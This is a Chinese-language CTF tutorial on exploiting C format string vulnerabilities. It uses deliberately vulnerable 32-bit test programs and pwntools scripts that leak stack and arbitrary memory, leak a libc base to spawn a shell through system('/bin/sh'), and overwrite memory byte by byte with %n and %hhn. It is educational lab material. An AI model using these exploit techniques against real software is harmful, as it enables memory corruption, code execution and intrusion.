文章目录
什么是格式化字符漏洞
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分。
格式化字符串函数
-
输入:
scanf
-
输出:
格式化字符串
基本格式
%[parameter][flags][field width][.precision][length]type
在pwn中需要关注
- parameter
-
n$
,获取格式化字符串中的指定参数
-
- length
-
hh
,输出一个字节 -
h
,输出一个双字节
-
- type
-
d/i
,有符号整数 -
u
,无符号整数 -
x/X
,16进制无符号整数 -
o
,8进制无符号整数 -
n
,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
-
那么上面这些有什么用呢,以下面示例程序为例
// test.c
// gcc test.c -m32 -o test
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("Color %s, Number %d, Float %4.2f");
return 0;
}
在printf中,并没有提供参数,运行会发生什么呢
root@kali:~/ctf/Other/pwn/fmtstrTest# ./test
Color !{��, Number -5021172, Float -13609363015660276767861975804845741867148812000057244728627349647521205925006820418315482418654746428935787248312989741686623617507326100836271030992971258520059038764468552397903024091741864220914512543638279560963003911187719312179301466854378314065568140994293458123131936020891717710705342044204066406400.00
程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量依次解析。
利用
泄露内存
-
%X$p
:泄露栈上第X个位置的值-
X
为任意正整数
-
-
addr%X$p
: 泄露任意地址的数据-
假设格式化字符串函数调用为栈上第
X
个参数, -
addr
为要泄露的地址以下面的程序为例
// test2.c #include <stdio.h> #include <unistd.h> void foo(void) { printf("bbbb"); } int main(int argc, char *argv[]) { char buf[100]; read(0, buf, 100); printf(buf); return 0; }
这段程序中有段字符串
bbbb
,我们先利用静态分析获取这段字符串的存储地址(我的实验环境中是0x0804a008),然后泄露这个字符串的字符串内容from pwn import * conn = process('./test2') # 0x0804a008输入后将位于栈上第7个位置 payload = p32(0x0804a008) + b'%7$s' conn.sendline(payload) print(conn.recv())
运行后获取输出,可以发现输出了0x0804a008地址处的字符串
[+] Starting local process './test2': pid 92179 b'\x08\xa0\x04\x08bbbb\n'
-
例题 利用格式化字符串漏洞获取libc基址
以下面程序为例题
// test3.c
// gcc test3.c -m32 -no-pie -fno-stack-protector -o test3
#include <stdio.h>
#include <unistd.h>
void vul(void){
char buf[40];
char buf2[20];
puts("hello");
read(0, buf, 40);
printf(buf);
read(0, buf2, 100);
}
int main(int argc, char *argv[])
{
vul();
return 0;
}
1. 查看安全策略
[*] '/root/ctf/Other/pwn/fmtstrTest/test3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2. 静态分析
静态分析,没有发现危险函数,也没有能用的字符串
反汇编,发现vul函数中第二个read存在栈溢出问题,同时printf存在格式化字符串漏洞
...| 0x080491a9 6a28 push 0x28 ; '(' ; 40| 0x080491ab 8d45d0 lea eax, dword [var_30h]| 0x080491ae 50 push eax| 0x080491af 6a00 push 0| 0x080491b1 e87afeffff call sym.imp.read| 0x080491b6 83c410 add esp, 0x10| 0x080491b9 83ec0c sub esp, 0xc| 0x080491bc 8d45d0 lea eax, dword [var_30h]| 0x080491bf 50 push eax| 0x080491c0 e87bfeffff call sym.imp.printf| 0x080491c5 83c410 add esp, 0x10| 0x080491c8 83ec04 sub esp, 4| 0x080491cb 6a64 push 0x64 ; 'd' ; 100| 0x080491cd 8d45bc lea eax, dword [var_44h]| 0x080491d0 50 push eax| 0x080491d1 6a00 push 0| 0x080491d3 e858feffff call sym.imp.read...
3. payload
根据静态分析,利用一次格式化字符串泄露libc基址+溢出获取shell。
首先确认格式化字符串在栈中的位置,
root@kali:~/ctf/Other/pwn/fmtstrTest# ./test3helloaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-aaaa0xffbdf378-0x28-0x804918e-(nil)-(nil)-0x8048034-0xf7ef1a28-0xf7ef0000-0xf7f21230-0x61616161-0x252d7025-0x70252d70-0��ro
aaaa
在栈中第10个位置
然后利用格式化字符串漏洞泄露函数的实际位置,从而获取libc。这里以泄露read的地址为例
payload_1 = p32(read_got) + b'%10$s'
之后可以从响应的内容中获取read的实际地址
read_addr = u32(conn.recv()[4:8]) # [0:4]是read_got的地址,[4:8]是read_got存储的值
打印出来的长度可能是不同,因为这里是以
%s
即字符串的格式打印的,因此会一直打印到字符串被截断,例如\x0a
这样的截断字符。
之后就是利用LibcSearcher获取libc,然后获取system
和/bin/sh
4. Write up
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
conn = process('./test3')
elf = conn.elf
func_name = 'read'
leak_got = elf.got[func_name]
print(hex(leak_got))
conn.recvuntil(b'hello\n')
# leak libc base
payload = p32(leak_got) + b'%10$s'
conn.sendline(payload)
recvstr = conn.recv()
leak_addr = u32(recvstr[4:8])
print(f'Get leak address: {hex(leak_addr)}')
libc = LibcSearcher(func_name, leak_addr)
libc_base = leak_addr - libc.dump(func_name)
# getshell
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x44 + 0x4)
payload += p32(system) + p32(0) + p32(binsh)
conn.sendline(payload)
conn.interactive()
覆盖内存
上面演示了利用格式化字符串漏洞泄露栈地址和任意内存地址,下面来学习如何进行内存的覆写。
主要利用的是
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
-
%Yc%X$n
: 将Y写入栈上第X个位置指针指向的位置-
Y
:Y为要写入的数据 -
X
: X为任意正整数 - 进一步向任意地址写,
addr%(Y-4)c%X$n
-
栈地址覆盖
以下面的程序为例
// test4.c// gcc test4.c -m32 -no-pie -fno-stack-protector -o test4#include <stdio.h>int a = 123, b = 456;int main() { int c = 789; char s[100]; printf("%p\n", &c); scanf("%s", s); printf(s); if (c == 16) { puts("modified c."); } else if (a == 2) { puts("modified a for a small number."); } else if (b == 0x12345678) { puts("modified b for a big number!"); } return 0;}
首先确认格式化字符串在栈上的位置,如下所示,在栈上的第6个位置
root@kali:~/ctf/Other/pwn/fmtstrTest# ./test40xffc3a29caaaa%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa0xffc3a238-0xf7f69410-0x8049199-(nil)-0x1-0x61616161-0x252d7025-0x70252d70-0x2d70252d
- 尝试打印
modified c
分支,
需要把c的值从789改写为16。程序返回了c
的地址,利用向任意地址写的方法,把c的地址写入栈中,然后向该地址赋值。
from pwn import *
context.log_level = 'debug';
conn = process('./test4')
c_addr = int(conn.recvuntil(b'\n').split(b'\n')[0], 16)
# c_addr占4个字节,所以额外加上12个字节,最终向c_addr指向的空间赋值16
payload = p32(c_addr) + b'%12c' + b'%6$n'
conn.sendline(payload)
print(conn.recv())
小数覆盖
利用radare获取a和b的地址
[0x08049070]> iE
[Exports]
Num Paddr Vaddr Bind Type Size Name
...
048 0x00003028 0x0804c028 GLOBAL OBJ 4 b
...
062 0x00003024 0x0804c024 GLOBAL OBJ 4 a
...
下面尝试走到a==2
的分支。
如果还用之前的方式,写入的地址最少要占4位,因此最小只能赋值4。
这里我们尝试把地址放到后面的位置。
赋值2,要写作aa%X$n
, 把2赋值给第X个位置指针指向的位置。这个字符串长度为6,不是4的倍数,所有还要补全两个字符,再加上a的地址。这样最终a是落在了栈上第8个位置。
最终构造的paylaod应该为aa%8$nbb\x20\xc0\x04\x08
构造write up
from pwn import *
context.log_level = 'debug';
conn = process('./test4')
c_addr = int(conn.recvuntil(b'\n').split(b'\n')[0], 16)
payload = b'aa%8$nbb' + p32(0x0804c024)
conn.sendline(payload)
print(conn.recv())
大数覆盖
尝试走到b == 0x12345678
分支的话,需要赋值一个很大的数,这时候直接向栈中写入这么多的数据肯定是不太方便的。利用hh
和h
参数逐字节写入
hh 单字节
h 双字节
我们以单字节的方式写入,b的地址是0x0804c028
,逐字节写入后的数据分配应该如下所示
0x0804c028 \x78
0x0804c029 \x56
0x0804c02a \x34
0x0804c02b \x12
因此随着构造payload,字符串长度是逐渐增长的,因此要按照从小到大的顺序填充字节,这里要从高位向地位填充
payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn' # 当前总长度=24, 字符长度0x12
下面填充次高位。填充后面的时候要注意,因为这是一次发送的payload,因此填充后面的时候,前面的字符串长度也要算上。
前面的字符串长度已经有24个字节,因此次高位的地址会写入第25-28个字节,这样对应的就是栈中的第12个位置(24/4 + 6)。
构造次高位的字符串时要注意不能包括%6$hhn
的长度,因此接下来还要填充的字符串个数是次高字节需要的总字节数 - 填充上一字节已经构造的字节数 - 次高字节地址位数
。
因此次高地址这里后续还有payload要填充,因此要对齐地址,因此这里添加了三个b
,使得总长度为4的倍数。
payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb' # 当前总长度=68
接下来填充次低位。构造方法和上面类似,不过添加字符的时候要记得把bbb
这三个对齐字节的长度减去。
payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb' # 当前总长度=108
最后填充低位
payload += p32(0x0804c028) + b'a'*(0x78- 0x56 - 4 - 2) + b'%33$hhn'
构造write up
from pwn import *
context.log_level = 'debug';
conn = process('./test4')
payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn'
payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb'
payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb'
payload += p32(0x0804c028) + b'a'*(0x78- 0x56 -4 -2) + b'%33$hhn'
conn.sendline(payload)
print(conn.recv())
*
覆盖任意地址时需要大量计算填充的长度,栈的位置等等,还是挺麻烦的。不过早有大佬造好了*,就是pwntools中的FmtStr类。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
offset(int): 字符串的偏移
writes (dict): 注入的地址和值,{target_addr : change_to, }
numbwritten (int) : 已经由printf函数写入的字节数,默认为0
write_size : 逐byte/short/int写入,默认是byte
from pwn import *
context.log_level = 'debug';
conn = process('./test4')
# a
# payload = fmtstr_payload(6, {0x0804c024:0x2})
# b
payload = fmtstr_payload(6, {0x0804c028:0x12345678})
conn.sendline(payload)
print(conn.recv())
通过改工具也能学习更简短的payload构造方式
payload = '%18c%17$hhn' + b'%34c%18$hhn' + b'%34c%19$hhn' + b'%34c%20$hhn' + p32(0x0804c02b) + p32(0x0804c02a) + p32(0x0804c029) + p32(0x0804c028)